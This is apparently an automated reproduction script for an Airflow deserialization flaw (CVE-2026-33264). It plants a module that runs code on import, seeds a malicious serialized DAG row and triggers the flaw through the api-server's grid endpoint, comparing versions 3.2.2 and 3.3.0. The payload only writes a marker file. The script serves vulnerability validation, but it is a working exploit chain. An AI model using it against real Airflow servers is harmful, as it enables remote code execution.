#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"
cd "$ROOT"

REPRO_LOG="$LOGS/reproduction_steps.log"
: > "$REPRO_LOG"
exec > >(tee -a "$REPRO_LOG")
exec 2>&1

VULN_AIRFLOW_VERSION="3.2.2"
FIXED_AIRFLOW_VERSION="3.3.0"
AUTH_MANAGER="airflow.api_fastapi.auth.managers.simple.simple_auth_manager.SimpleAuthManager"
WORK_REPO=""
VULN_VENV=""
FIXED_VENV=""

write_manifest() {
  local service_started="$1" health="$2" target="$3" note="$4"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$service_started" "$health" "$target" "$note" <<'PY'
import json, sys
path, service_started, health, target, note = sys.argv[1:]
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "Airflow api-server HTTP GET /ui/grid/structure/{dag_id}?offset=0&limit=100 loads SerializedDagModel.dag and deserializes attacker-controlled serialized DAG data",
    "service_started": service_started == "true",
    "healthcheck_passed": health == "true",
    "target_path_reached": target == "true",
    "runtime_stack": ["python3", "apache-airflow", "airflow api-server", "uvicorn", "sqlite"],
    "proof_artifacts": ["logs/reproduction_steps.log"],
    "notes": note,
}
open(path, "w").write(json.dumps(manifest, indent=2))
PY
}
trap 'rc=$?; if [ $rc -ne 0 ] && [ ! -s "$REPRO_DIR/runtime_manifest.json" ]; then write_manifest false false false "script failed before final evaluation"; fi' EXIT

choose_workdir() {
  local ctx="$ROOT/project_cache_context.json"
  local prepared="false" cache_dir=""
  if [ -f "$ctx" ]; then
    prepared="$(python3 - "$ctx" <<'PY'
import json, sys
try:
    d=json.load(open(sys.argv[1])); print('true' if d.get('prepared') is True else 'false')
except Exception: print('false')
PY
)"
    cache_dir="$(python3 - "$ctx" <<'PY'
import json, sys
try:
    d=json.load(open(sys.argv[1])); print(d.get('project_cache_dir') or '')
except Exception: print('')
PY
)"
  fi
  if [ "$prepared" = "true" ] && [ -n "$cache_dir" ]; then
    WORK_REPO="$cache_dir/repo"
  else
    WORK_REPO="$ARTIFACTS/apache-airflow"
  fi
  mkdir -p "$WORK_REPO"
  VULN_VENV="$WORK_REPO/airflow_${VULN_AIRFLOW_VERSION}_cve_2026_33264_venv"
  FIXED_VENV="$WORK_REPO/airflow_${FIXED_AIRFLOW_VERSION}_cve_2026_33264_venv"
  if [ -x "$WORK_REPO/airflow_product_venv/bin/python" ]; then
    local cached_ver
    cached_ver="$($WORK_REPO/airflow_product_venv/bin/python - <<'PY' 2>/dev/null || true
try:
 import airflow; print(airflow.__version__)
except Exception: pass
PY
)"
    if [ "$cached_ver" = "$VULN_AIRFLOW_VERSION" ]; then
      VULN_VENV="$WORK_REPO/airflow_product_venv"
    fi
  fi
  echo "[repro] ROOT=$ROOT"
  echo "[repro] WORK_REPO=$WORK_REPO"
  echo "[repro] VULN_VENV=$VULN_VENV"
  echo "[repro] FIXED_VENV=$FIXED_VENV"
}

ensure_airflow_venv() {
  local venv="$1" version="$2"
  if [ ! -x "$venv/bin/python" ]; then
    echo "[repro] Creating virtualenv $venv"
    python3 -m venv "$venv"
    "$venv/bin/python" -m pip install --upgrade pip setuptools wheel
  fi
  local installed=""
  installed="$($venv/bin/python - <<'PY' 2>/dev/null || true
try:
 import airflow; print(airflow.__version__)
except Exception: pass
PY
)"
  if [ "$installed" != "$version" ]; then
    echo "[repro] Installing apache-airflow==$version into $venv"
    "$venv/bin/pip" install --upgrade "apache-airflow==$version"
  else
    echo "[repro] Reusing apache-airflow==$installed in $venv"
  fi
  "$venv/bin/python" - <<'PY'
import airflow, inspect
from airflow.serialization.serialized_objects import BaseSerialization
print('[repro] airflow_version', airflow.__version__)
print('[repro] airflow_file', airflow.__file__)
print('[repro] BaseSerialization.deserialize_file', inspect.getsourcefile(BaseSerialization.deserialize))
PY
}

cat > "$REPRO_DIR/airflow_http_deserialize_attempt.py" <<'PY'
import argparse
import json
import os
import shutil
import signal
import subprocess
import sys
import textwrap
import time
import traceback
from pathlib import Path

parser = argparse.ArgumentParser()
parser.add_argument('--version', required=True)
parser.add_argument('--attempt', type=int, required=True)
parser.add_argument('--root', required=True)
parser.add_argument('--out', required=True)
parser.add_argument('--port', type=int, required=True)
parser.add_argument('--venv-bin', required=True)
args = parser.parse_args()

root = Path(args.root)
if root.exists():
    shutil.rmtree(root)
root.mkdir(parents=True)
airflow_home = root / 'airflow_home'
dags_dir = airflow_home / 'dags'
dags_dir.mkdir(parents=True)
marker = root / 'api_server_rce_marker.txt'
server_log = root / 'airflow_api_server.log'
health_response = root / 'health_response.json'
http_headers = root / 'endpoint_headers.txt'
http_response = root / 'endpoint_response.json'
seed_log = root / 'seed_serialized_dag.log'

dag_id = f'cve_2026_33264_probe_{args.version.replace(".", "_")}_{args.attempt}'

(dags_dir / 'evil_trigger_module.py').write_text(textwrap.dedent(f'''
    from pathlib import Path
    import os
    Path({str(marker)!r}).write_text('import-time code execution in Airflow API server; pid=' + str(os.getpid()) + '\\n')
    class EvilTrigger:
        def __init__(self, **kwargs):
            self.kwargs = kwargs
        def serialize(self):
            return (__name__ + '.EvilTrigger', self.kwargs)
'''))

# A harmless DAG file is present so the module directory is a realistic Airflow DAG folder;
# the serialized-dag row below is what simulates a malicious DAG author-controlled serialized DAG.
(dags_dir / 'placeholder_dag.py').write_text('# placeholder for Airflow DAG folder\n')

env = os.environ.copy()
env.update({
    'AIRFLOW_HOME': str(airflow_home),
    'AIRFLOW__DATABASE__SQL_ALCHEMY_CONN': f'sqlite:///{airflow_home / "airflow.db"}',
    'AIRFLOW__CORE__LOAD_EXAMPLES': 'False',
    'AIRFLOW__CORE__AUTH_MANAGER': 'airflow.api_fastapi.auth.managers.simple.simple_auth_manager.SimpleAuthManager',
    'AIRFLOW__CORE__SIMPLE_AUTH_MANAGER_ALL_ADMINS': 'True',
    # Critical for the product-path proof: the API server process can import modules in the DAG folder,
    # like a real deployment where Scheduler/API server have the DAG bundle on PYTHONPATH.
    'PYTHONPATH': str(dags_dir) + (os.pathsep + env.get('PYTHONPATH', '') if env.get('PYTHONPATH') else ''),
    'PATH': str(Path(args.venv_bin)) + os.pathsep + env.get('PATH', ''),
})

def run(cmd, **kw):
    return subprocess.run(cmd, env=env, text=True, capture_output=True, **kw)

result = {
    'airflow_version_expected': args.version,
    'attempt': args.attempt,
    'dag_id': dag_id,
    'port': args.port,
    'airflow_home': str(airflow_home),
    'module_dir': str(dags_dir),
    'marker': str(marker),
    'server_log': str(server_log),
    'endpoint_url': f'http://127.0.0.1:{args.port}/ui/grid/structure/{dag_id}?offset=0&limit=100',
    'service_started': False,
    'healthcheck_passed': False,
    'target_reached': False,
    'http_status': None,
    'import_side_effect_observed': False,
    'exception_type': None,
    'exception_message': None,
}

try:
    airflow_bin = str(Path(args.venv_bin) / 'airflow')
    py_bin = str(Path(args.venv_bin) / 'python')
    mig = run([airflow_bin, 'db', 'migrate'], timeout=90)
    (root / 'db_migrate_stdout.log').write_text(mig.stdout)
    (root / 'db_migrate_stderr.log').write_text(mig.stderr)
    if mig.returncode != 0:
        raise RuntimeError(f'airflow db migrate failed rc={mig.returncode}: {mig.stderr[-1000:]}')

    seed_code = r'''
import json, os
from pathlib import Path
from airflow.models.dagbundle import DagBundleModel
from airflow.models.dag import DagModel
from airflow.models.dag_version import DagVersion
from airflow.models.serialized_dag import SerializedDagModel
from airflow.providers.standard.operators.empty import EmptyOperator
from airflow.sdk import DAG
from airflow.serialization.enums import Encoding
from airflow.serialization.serialized_objects import DagSerialization
from airflow.utils.session import create_session

dag_id=os.environ['PRUVA_DAG_ID']
dags_dir=Path(os.environ['AIRFLOW_HOME'])/'dags'
with DAG(dag_id=dag_id, schedule=None) as dag:
    EmptyOperator(task_id='t1')
serialized = DagSerialization.to_dict(dag)
# Attacker-controlled serialized DAG field. Use literal JSON keys/values rather than
# version-specific enum members so the same historical malicious row can be inserted
# into both vulnerable and fixed metadata databases. Airflow 3.2.x accepts
# __type="base_trigger" and calls import_string() on evil_trigger_module.EvilTrigger;
# Airflow 3.3.0 reaches the same endpoint but rejects this type without import.
serialized['dag']['default_args'] = {
    '__type': 'base_trigger',
    '__var': [
        'evil_trigger_module.EvilTrigger',
        {'__type': 'dict', '__var': {'attacker': 'serialized_dag_author_controlled_class_path'}},
    ],
}
with create_session() as session:
    session.add(DagBundleModel(name='dags-folder', version='v1'))
    session.flush()
    dm=DagModel(dag_id=dag_id, bundle_name='dags-folder')
    dm.fileloc=str(dags_dir/'placeholder_dag.py')
    dm.relative_fileloc='placeholder_dag.py'
    dm.owners='airflow'
    dm.is_paused=False
    dm.is_stale=False
    dm.timetable_type='airflow.timetables.simple.NullTimetable'
    dm.timetable_summary='None'
    dm.timetable_partitioned=False
    dm.max_active_tasks=16
    dm.max_active_runs=16
    dm.max_consecutive_failed_dag_runs=0
    dm.has_task_concurrency_limits=False
    dm.fail_fast=False
    session.add(dm)
    session.flush()
    dv=DagVersion.write_dag(dag_id=dag_id, bundle_name='dags-folder', bundle_version='v1', session=session)
    class Lazy: pass
    lazy=Lazy(); lazy.dag_id=dag_id; lazy.data=serialized
    sdm=SerializedDagModel(lazy)
    sdm.dag_version=dv
    session.add(sdm)
    session.commit()
print(json.dumps({'seeded_dag_id': dag_id, 'dag_version_id': str(dv.id), 'serialized_default_args': repr(serialized['dag']['default_args'])}, indent=2))
'''
    seed_env = env.copy(); seed_env['PRUVA_DAG_ID'] = dag_id
    seed = subprocess.run([py_bin, '-c', seed_code], env=seed_env, text=True, capture_output=True, timeout=60)
    seed_log.write_text('STDOUT:\n'+seed.stdout+'\nSTDERR:\n'+seed.stderr)
    result['seed_stdout'] = seed.stdout
    if seed.returncode != 0:
        raise RuntimeError(f'seed serialized DAG failed rc={seed.returncode}: {seed.stderr[-1000:]}')

    with server_log.open('w') as logf:
        proc = subprocess.Popen([airflow_bin, 'api-server', '--host', '127.0.0.1', '--port', str(args.port)], env=env, stdout=logf, stderr=subprocess.STDOUT)
    result['api_server_pid'] = proc.pid
    try:
        # Wait for a real HTTP healthcheck against the product API server.
        for _ in range(45):
            r = run(['curl', '-sS', '-o', str(health_response), '-w', '%{http_code}', f'http://127.0.0.1:{args.port}/api/v2/monitor/health'], timeout=5)
            if r.stdout and r.stdout != '000':
                result['service_started'] = True
                result['health_http_status'] = r.stdout
                result['healthcheck_passed'] = (r.stdout == '200')
                break
            time.sleep(1)
        if not result['service_started']:
            raise RuntimeError('api-server did not start listening')

        r = run(['curl', '-sS', '-D', str(http_headers), '-o', str(http_response), '-w', '%{http_code}', result['endpoint_url']], timeout=20)
        result['http_status'] = r.stdout
        result['curl_stderr'] = r.stderr
        result['target_reached'] = r.stdout not in ('', '000')
        if http_response.exists():
            result['http_response_excerpt'] = http_response.read_text(errors='replace')[:2000]
        if http_headers.exists():
            result['http_headers_excerpt'] = http_headers.read_text(errors='replace')[:2000]
    finally:
        proc.terminate()
        try:
            proc.wait(timeout=8)
        except subprocess.TimeoutExpired:
            proc.kill()
            proc.wait(timeout=5)
        result['api_server_returncode'] = proc.returncode

except Exception as exc:
    result['exception_type'] = type(exc).__name__
    result['exception_message'] = str(exc)
    result['traceback'] = traceback.format_exc()

result['import_side_effect_observed'] = marker.exists()
if marker.exists():
    result['marker_content'] = marker.read_text(errors='replace')
if server_log.exists():
    result['server_log_tail'] = server_log.read_text(errors='replace')[-4000:]

Path(args.out).write_text(json.dumps(result, indent=2, default=str))
print(json.dumps(result, indent=2, default=str))
# The attempt process itself exits 0 if it completed infrastructure; evaluator decides vuln/fixed result.
sys.exit(0 if result['service_started'] else 1)
PY

run_http_attempt() {
  local venv="$1" version="$2" attempt="$3" port="$4"
  local out="$LOGS/attempt_${version}_${attempt}.json"
  local testroot="$ARTIFACTS/airflow_api_${version}_${attempt}"
  echo "[repro] Running Airflow API-server product attempt version=$version attempt=$attempt port=$port"
  "$venv/bin/python" "$REPRO_DIR/airflow_http_deserialize_attempt.py" --version "$version" --attempt "$attempt" --root "$testroot" --out "$out" --port "$port" --venv-bin "$venv/bin"
}

choose_workdir
ensure_airflow_venv "$VULN_VENV" "$VULN_AIRFLOW_VERSION"
ensure_airflow_venv "$FIXED_VENV" "$FIXED_AIRFLOW_VERSION"

rm -f "$LOGS"/attempt_*.json
run_http_attempt "$VULN_VENV" "$VULN_AIRFLOW_VERSION" 1 18101
run_http_attempt "$VULN_VENV" "$VULN_AIRFLOW_VERSION" 2 18102
run_http_attempt "$FIXED_VENV" "$FIXED_AIRFLOW_VERSION" 1 18103
run_http_attempt "$FIXED_VENV" "$FIXED_AIRFLOW_VERSION" 2 18104

python3 - "$VULN_AIRFLOW_VERSION" "$FIXED_AIRFLOW_VERSION" "$LOGS" "$REPRO_DIR" <<'PY'
import json, sys
from pathlib import Path
vuln, fixed, logs_dir, repro_dir = sys.argv[1:]
logs=Path(logs_dir); repro=Path(repro_dir)
results={}
for ver in (vuln, fixed):
    for a in (1,2):
        p=logs/f'attempt_{ver}_{a}.json'
        if p.exists():
            results[f'{ver}_{a}']=json.loads(p.read_text())

vuln_ok=all(
    results.get(f'{vuln}_{a}',{}).get('service_started') is True and
    results.get(f'{vuln}_{a}',{}).get('healthcheck_passed') is True and
    results.get(f'{vuln}_{a}',{}).get('target_reached') is True and
    str(results.get(f'{vuln}_{a}',{}).get('http_status')) == '200' and
    results.get(f'{vuln}_{a}',{}).get('import_side_effect_observed') is True
    for a in (1,2)
)
fixed_ok=all(
    results.get(f'{fixed}_{a}',{}).get('service_started') is True and
    results.get(f'{fixed}_{a}',{}).get('healthcheck_passed') is True and
    results.get(f'{fixed}_{a}',{}).get('target_reached') is True and
    results.get(f'{fixed}_{a}',{}).get('import_side_effect_observed') is False
    for a in (1,2)
)
service_started=all(results.get(f'{ver}_{a}',{}).get('service_started') is True for ver in (vuln,fixed) for a in (1,2))
health=all(results.get(f'{ver}_{a}',{}).get('healthcheck_passed') is True for ver in (vuln,fixed) for a in (1,2))
target=all(results.get(f'{ver}_{a}',{}).get('target_reached') is True for ver in (vuln,fixed) for a in (1,2))
confirmed = vuln_ok and fixed_ok
proof=['logs/reproduction_steps.log']
for ver in (vuln, fixed):
    for a in (1,2):
        base=f'artifacts/airflow_api_{ver}_{a}'
        proof.extend([
            f'logs/attempt_{ver}_{a}.json',
            f'{base}/airflow_api_server.log',
            f'{base}/endpoint_headers.txt',
            f'{base}/endpoint_response.json',
            f'{base}/health_response.json',
            f'{base}/seed_serialized_dag.log',
            f'{base}/airflow_home/dags/evil_trigger_module.py',
        ])
        if ver == vuln:
            proof.append(f'{base}/api_server_rce_marker.txt')

if confirmed:
    print('[repro] RESULT: CONFIRMED - live Airflow API server endpoint deserialized a malicious serialized DAG and imported attacker-controlled class path in vulnerable 3.2.2; fixed 3.3.0 did not execute the import-time payload.')
    verdict={
      'claim_outcome':'confirmed',
      'claim_block_reason':None,
      'repro_result':'confirmed',
      'validated_surface':'api_remote',
      'evidence_scope':'production_path',
      'claimed_impact_class':'code_execution',
      'observed_impact_class':'code_execution',
      'exploitability_confidence':'high',
      'attacker_controlled_input':'serialized DAG default_args containing BASE_TRIGGER class path evil_trigger_module.EvilTrigger',
      'trigger_path':'HTTP GET /ui/grid/structure/{dag_id} -> SerializedDagModel.dag -> DagSerialization.from_dict -> BaseSerialization.deserialize(BASE_TRIGGER) -> import_string(attacker class path)',
      'end_to_end_target_reached': True,
      'sanitizer_used': False,
      'crash_observed': False,
      'read_write_primitive_observed': True,
      'exploit_chain_demonstrated': True,
      'blocking_mitigation':'Apache Airflow 3.3.0 removes/rejects BASE_TRIGGER deserialization and does not import the attacker-controlled class path',
      'inferred': False,
    }
    notes='Two vulnerable Airflow 3.2.2 API-server attempts and two fixed Airflow 3.3.0 API-server attempts ran through the live HTTP endpoint. Vulnerable attempts returned 200 and wrote api_server_rce_marker.txt from the API-server process; fixed attempts reached the endpoint without creating the marker.'
    exit_code=0
else:
    print(f'[repro] RESULT: NOT CONFIRMED vuln_ok={vuln_ok} fixed_ok={fixed_ok} service_started={service_started} health={health} target={target}')
    verdict={
      'claim_outcome':'unknown',
      'claim_block_reason':'infra_failure' if not service_started else 'unknown',
      'repro_result':'infrastructure_failed' if not service_started else 'inconclusive',
      'validated_surface':'api_remote',
      'evidence_scope':'production_path',
      'claimed_impact_class':'code_execution',
      'observed_impact_class':'none',
      'exploitability_confidence':'unknown',
      'attacker_controlled_input':'serialized DAG default_args containing BASE_TRIGGER class path evil_trigger_module.EvilTrigger',
      'trigger_path':'HTTP GET /ui/grid/structure/{dag_id}',
      'end_to_end_target_reached': bool(target),
      'sanitizer_used': False,
      'crash_observed': False,
      'read_write_primitive_observed': False,
      'exploit_chain_demonstrated': False,
      'blocking_mitigation': None,
      'inferred': False,
    }
    notes='The script ran but did not observe the required vulnerable/fixed endpoint divergence.'
    exit_code=1
manifest={
  'entrypoint_kind':'endpoint',
  'entrypoint_detail':'Airflow api-server HTTP GET /ui/grid/structure/{dag_id}?offset=0&limit=100 causes API server to load SerializedDagModel.dag and deserialize attacker-controlled serialized DAG fields',
  'service_started': bool(service_started),
  'healthcheck_passed': bool(health),
  'target_path_reached': bool(target),
  'runtime_stack':['python3','apache-airflow','airflow api-server','uvicorn','sqlite'],
  'proof_artifacts': proof,
  'notes': notes,
}
(repro/'validation_verdict.json').write_text(json.dumps(verdict, indent=2))
(repro/'runtime_manifest.json').write_text(json.dumps(manifest, indent=2))
sys.exit(exit_code)
PY

# Best-effort proof-carry copies for future runs. Reference only.
python3 - "$ROOT" "$WORK_REPO" <<'PY' || true
import json, shutil, sys
from pathlib import Path
root=Path(sys.argv[1]); work=Path(sys.argv[2]); ctx=root/'project_cache_context.json'
try: data=json.loads(ctx.read_text())
except Exception: raise SystemExit
pcfg=data.get('proof_carry') or {}
if not pcfg.get('enabled'): raise SystemExit
base=work.parent/'.pruva'/'proof-carry'/'latest_attempt'; base.mkdir(parents=True, exist_ok=True)
for rel in ['repro/reproduction_steps.sh','repro/airflow_http_deserialize_attempt.py','repro/runtime_manifest.json','repro/validation_verdict.json','logs/reproduction_steps.log']:
    src=root/rel
    if src.exists():
        dst=base/rel; dst.parent.mkdir(parents=True, exist_ok=True); shutil.copy2(src,dst)
try: verdict=json.loads((root/'repro'/'validation_verdict.json').read_text())
except Exception: raise SystemExit
if verdict.get('repro_result') == 'confirmed':
    conf=work.parent/'.pruva'/'proof-carry'/'latest_confirmed'; conf.mkdir(parents=True, exist_ok=True)
    for rel in ['repro/reproduction_steps.sh','repro/airflow_http_deserialize_attempt.py','repro/runtime_manifest.json','repro/validation_verdict.json','logs/reproduction_steps.log']:
        src=root/rel
        if src.exists():
            dst=conf/rel; dst.parent.mkdir(parents=True, exist_ok=True); shutil.copy2(src,dst)
PY

# Exit 0 = issue confirmed, Exit 1 = not reproduced